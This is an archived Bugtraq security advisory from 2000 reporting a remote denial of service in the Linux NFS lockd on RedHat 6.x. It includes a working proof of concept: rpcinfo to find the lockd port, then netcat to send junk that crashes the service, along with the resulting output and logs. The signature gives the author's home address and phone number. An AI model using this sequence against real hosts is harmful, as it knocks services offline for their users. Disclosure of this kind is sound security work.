5181677 2000-06-10 11:06 /96 rader/ Postmaster
Mottagare: Bugtraq (import) <11253>
Ärende: Remote DOS in linux rpc.lockd
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: bugtraq@securityfocus.com
X-Priority: 3 (Normal)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0
Message-ID: <XFMail.20000608153842.mmurray@fscinternet.com>
Date: Thu, 8 Jun 2000 15:38:42 -0400
Reply-To: mmurray@FSCINTERNET.COM
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: mmurray@FSCINTERNET.COM
To: BUGTRAQ@SECURITYFOCUS.COM
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Hello, all...
Found what appears to be a remote DOS in the linux kernel
code for NFS lockd. Only requires a restart of the service, but the
port stays bound (in a iclose_wait) state for what appears to be an
indefinite time. I have only tested this in RedHat 6.1 and 6.2 (that
is, kernel 2.2.12 and 2.2.14), but I see no reason why it will not be
present in other configurations of both the same kernel (and likely
earlier kernels). The proof of concept is really simple: If you have
port access (i.e. you are able to send packets to whatever port
rpc.lockd is running on) to a Redhat 6.2 machine running rpc.lockd
(enabled by the default install), you can forcibly stop rpc.lockd
from responding on that machine.
The lockd crashes whenever any malformed request is issued to
it over its tcp channel; thus, if you simply connect to the tcp port
that lockd is listening on, and hit 'return', and log out, you will
have crashed lockd.
As an example, from a root prompt on my laptop, I issued the
following (where "target" is a machine running a fresh install of RH
6.2 up2date):
[root@hiro /]# rpcinfo -p target
program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100021 1 udp 1024 nlockmgr
100021 3 udp 1024 nlockmgr
100021 1 tcp 1024 nlockmgr
100021 3 tcp 1024 nlockmgr
100024 1 udp 831 status
100024 1 tcp 833 status
[root@hiro /]# nc -p 1000 target 1024
alksdjfalskdjfsdafs
Here, I issued a Ctrl-C to get out of netcat, and got:
punt!
[root@hiro /]#
[root@hiro /]# rpcinfo -p target
program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100024 1 udp 831 status
100024 1 tcp 833 status
[root@hiro /]#
In the victim's /var/log/messages, the following message was
written: June 7 15:07:48 target kernel: RPC: bad TCP reclen
616c6b73<4>lockd: terminating on error 5 June 7 15:07:48 target
kernel: svc: server socket destroy delayed (sk_inuse: 1)
As well, even with a restart of lockd, the original port
(1024) isn't ever freed (it stays in CLOSE_WAIT) as far as I can tell
(although I'm about to go out for lunch, return, and check then).
As you can see, the service is no longer present after the
port has been connected to.
Mike
____________________________________
Mike Murray
Internetworking Specialist / Blueshirt Developer
Apt 1402
666 Spadina Ave
Toronto, Ont
M5S 2H8
Email: Mike.Murray@utoronto.ca /
orestes@dorian.2y.net
Phone: (416) 323-3160
___________________________________
-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.2
iQA/AwUBOT/2QLpfrcrUemrPEQIG1wCcDXrocTe7bG2ojfnOy2ObuUWvv0YAniFY
SLLeY1DuNtYSiOSrpCedba2w
=AafA
-----END PGP SIGNATURE-----
(5181677) ------------------------------------------(Ombruten)